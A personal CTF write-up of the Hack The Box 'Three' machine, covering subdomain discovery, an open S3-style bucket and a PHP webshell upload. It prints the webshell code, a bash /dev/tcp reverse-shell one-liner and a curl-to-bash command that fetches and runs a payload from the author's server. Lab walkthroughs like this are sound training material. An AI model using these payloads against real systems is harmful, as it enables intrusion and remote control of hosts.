Post cover image

October 22, 2026

HTB Starting Point: Three — (And How I Tripped Over S3 Buckets).

by

By Lawrencegeoffrey

3 min read

by

Lawrence geoffrey

H3llo and W3lcom3!

(＾▽＾)

Today I'm walking you through Three, a "very easy" machine from Hack The Box's Starting Point series. Don't let the rating fool you though this was my first time dealing with cloud storage misconfigurations in a CTF, and between wrestling with the AWS CLI and getting my reverse shell IP wrong more than once, this one humbled me a bit. Here's exactly how it went down, step by step.

Recon

I kicked things off with a standard Nmap scan against the target:

nmap -sS -sC -F 10.129.45.4
None

This showed two open ports: 22 (SSH) and 80 (HTTP).

Exploring the Website

Next, I pointed my browser at the target's IP to see what was running on port 80.

None

The site didn't show an obvious domain name anywhere, so I checked the "Contact" section and found an email address using the domain thetoppers.htb.

None

Since there's no DNS server here, I added that domain to my /etc/hosts file manually so my machine would know how to resolve it.

None

Finding a Hidden Subdomain

With the base domain resolving, I ran Gobuster to look for subdomains using vhost mode:

gobuster vhost -u http://thetoppers.htb -w /usr/share/wordlists/dirb/common.txt
None

This turned up s3.thetoppers.htb, which I added to /etc/hosts as well.

None

Visiting the new subdomain revealed it was running an Amazon S3-style object storage service.

None

Setting Up the AWS CLI

Since S3 buckets are managed through the AWS CLI, I installed it:

sudo apt install awscli
None

Then configured it with placeholder credentials, since the bucket doesn't require real ones to list contents:

aws configure
None

Listing and Accessing the Bucket

With the CLI pointed at the custom endpoint, I listed the bucket's contents:

aws s3 ls --endpoint-url=http://s3.thetoppers.htb s3://thetoppers.htb
None

This confirmed the server was running PHP files which gave me an idea.

Uploading a PHP Shell

I wrote a simple PHP webshell:

<?php system($_GET["cmd"]); ?>
None

Then uploaded it directly into the S3 bucket:

aws s3 cp shell.php s3://thetoppers.htb/shell.php --endpoint-url=http://s3.thetoppers.htb
None

Getting Code Execution

Since the bucket contents are served on the web root, I hit the uploaded file directly in the browser with a cmd parameter to confirm code execution:

http://thetoppers.htb/shell.php?cmd=whoami

At this point I had working remote code execution on the box. Rather than stop there, I wanted to practice setting up a proper reverse shell.

Setting Up the Reverse Shell

First, I grabbed my actual VPN IP (not the target's — an early mistake I made was mixing the two up):

ip a show tun0

I created shell.sh with a bash reverse shell payload, pointed at my IP:

bash -i >& /dev/tcp/10.10.14.154/4444 0>&1

Then started a listener to wait for the connection:

nc -nvlp 4444

And served the shell script over HTTP from the same directory:

python3 -m http.server 8000
None

Finally, I triggered it through my existing PHP shell, telling the target to pull down shell.sh and execute it:

http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.154:8000/shell.sh|bash
None

Catching the Shell and Grabbing the Flag

Back in my listener, the connection landed and I had an interactive shell as www-data:

None

From there I confirmed my access and grabbed the flag:

whoami
ls
cd
cat flag.txt

And there it was — flag captured. 🎉

Final Thoughts

This box took me longer than "very easy" implied, mostly because this was my first run-in with S3 bucket misconfigurations and I got tripped up early on using the wrong IP for my reverse shell. But that's exactly the kind of mistake worth writing about if you're starting out too, hopefully this saves you the same headache.

Happy hacking! (＾▽＾)

Tags: Hackthebox, Pentesting, Cybersecurity, Aws, Ctf